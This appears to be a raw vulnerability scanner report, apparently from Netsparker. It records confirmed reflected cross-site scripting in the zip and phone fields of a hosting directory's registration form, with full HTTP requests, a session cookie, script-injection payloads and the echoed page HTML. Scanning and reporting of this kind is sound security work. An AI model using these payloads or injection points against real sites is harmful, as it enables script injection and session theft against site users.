<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST '"--></style></script><script>alert(0x001D9A)</script>
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 544
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001D9A)%3c%2fscript%3e&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:17:37 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='76E0188F5F077DBDA971334CDE9E3F2CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='76E0188F5F077DBD64DFABC32DE5FA9A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='76E0188F5F077DBDB9A639E753F1C6D4C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='76E0188F5F077DBD76160ADDCBFD024CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='76E0188F5F077DBDA040BB48F2BA4B706F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='76E0188F5F077DBDE9C44FBF5A3783C7C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='76E0188F5F077DBDA28BA7236305A230C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='76E0188F5F077DBDA1C304AB22C5F7CF6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='76E0188F5F077DBDAA54B2A79DFC3F83C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='76E0188F5F077DBDFE07177A8248E07A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='76E0188F5F077DBD12A7E2E6BD950AE0C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='76E0188F5F077DBDD25B27FEA0A3E7A6C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='76E0188F5F077DBD5A62BD5735D1740FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='76E0188F5F077DBDE1F8C1FA57583949C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='76E0188F5F077DBD504D178C2727600AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='76E0188F5F077DBD2D79E432F23AA6D9C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='76E0188F5F077DBDD31290EA3E1B3AF06F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='76E0188F5F077DBDA3CEEA8CBEAD111B6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='76E0188F5F077DBDE436BD464E90E73E6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST '"--></style></script><script>alert(0x001DAA)</script>
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 544
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001DAA)%3c%2fscript%3e&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:17:49 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='76E0188F5F077DBD6310476B00D5DC55C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='76E0188F5F077DBD0F037B3B149DB5E26F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='76E0188F5F077DBD213195CCFEC08F1EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='76E0188F5F077DBD3E25D241252B380CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='76E0188F5F077DBDB547F26210E6DF916F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='76E0188F5F077DBD2AB711F21055C7B1C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='76E0188F5F077DBD9FD1F855F265360AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='76E0188F5F077DBD657ED175C0CF43F46F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='76E0188F5F077DBDBDB89185697D64AAC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='76E0188F5F077DBDFDE7CF867FCAAE586F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='76E0188F5F077DBD26395EA1BAA4BB1FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='76E0188F5F077DBD96E2F66043B77253C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='76E0188F5F077DBDEC2D863CDD025024C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='76E0188F5F077DBDE0A5B08E5A574347C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='76E0188F5F077DBD61F65793C32E5018C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='76E0188F5F077DBDCB06CEBF22A47B7BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='76E0188F5F077DBDEC3F40AE8CCA16116F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='76E0188F5F077DBD30394E5931AE38106F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='76E0188F5F077DBD8C09B14EDC7797656F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
